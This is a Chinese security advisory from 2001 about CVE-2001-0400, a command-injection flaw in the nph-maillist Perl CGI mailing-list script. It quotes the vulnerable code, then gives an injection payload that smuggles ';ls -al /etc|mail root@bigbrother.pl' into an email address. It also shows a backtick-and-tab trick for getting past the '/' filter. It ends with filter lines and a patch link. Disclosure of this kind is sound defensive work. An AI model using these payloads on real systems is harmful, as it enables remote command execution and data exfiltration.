安全研究

安全漏洞
Matt Tourtillott nph-maillist远程执行任意命令漏洞

发布日期:2001-04-10
更新日期:2001-04-10

受影响系统:
Matt Tourtillott nph-maillist 3.5
Matt Tourtillott nph-maillist 3.0
描述:
BUGTRAQ  ID: 2563
CVE(CAN) ID: CVE-2001-0400

nph-maillist是一个用来处理邮件列表的Perl CGI脚本,通常用来通知对网站更新感兴趣的用户。

nph-maillist实现上存在输入验证漏洞,远程攻击者可以利用此漏洞在主机上以Web服务进程的权限执行任意命令。

脚本对用户提交的输入数据没有充分过滤,远程攻击者可以通过订阅表单在邮件地址中嵌入命令,这样当给该地址发送邮件时就会执行其中的命令。

该脚本由两部分组成,其中mailengine.pl负责在后台给列表中的用户发送邮件,有问题的代码如下:

$mailprog="/usr/sbin/sendmail";
$mailfile = "mail.txt";
open (BSS, $mailfile) || die "Cannot open $mailfile";
@mailf = <BSS>;
close (BSS);
foreach $SIZE (@mailf) {
        $SIZE =~ s/\n//g;
open (MAIL, "|$mailprog $SIZE") || die "Cannot open $mailprog";

其中$mailfile是存放邮件地址的文件。如果攻击者提交如下格式的邮件地址:
urabura@matura.pl ;ls -al /etc|mail root@bigbrother.pl
当上述邮件地址提交给mailengine.pl时就会执行“;”后的命令。

脚本nph-maillist.pl负责处理从Web界面上接收用户提交的Email地址,有问题的代码如下:

if ($FORM{'emailaddress'} !~ /\@/) { &bad_email();}
if ($FORM{'emailaddress'} !~ /\./) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\ /) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\)/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\(/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\:/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\//) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\\/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\http:/) { &bad_email();}

其中emailaddress就是Web用户提交的邮件地址。上述代码过滤了'/'字符和空格字符,但没有过滤特殊字符'\t'和'`'。只需要将'/'字符用`head\t-n1\tnph-maillist.pl|cut\t-c3`来代替,就可以输入类似“urabura@matura.pl ;ls -al /etc|mail root@bigbrother.pl”这样的邮件地址。

<*来源:Kanedaaa Bohater (kaneda@ac.pl
  
  链接:http://cert.uni-stuttgart.de/archive/bugtraq/2001/04/msg00185.html
*>

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 编辑修改nph-maillist.pl脚本,加入几行过滤代码

if ($FORM{'emailaddress'} =~ /\;/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\`/) { &bad_email();}

厂商补丁:

Matt Tourtillott
----------------
作者已经在最新版本的软件中修补了此安全漏洞,请到作者的主页下载:

http://www.marketrends.net/maillist/

浏览次数:3776
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障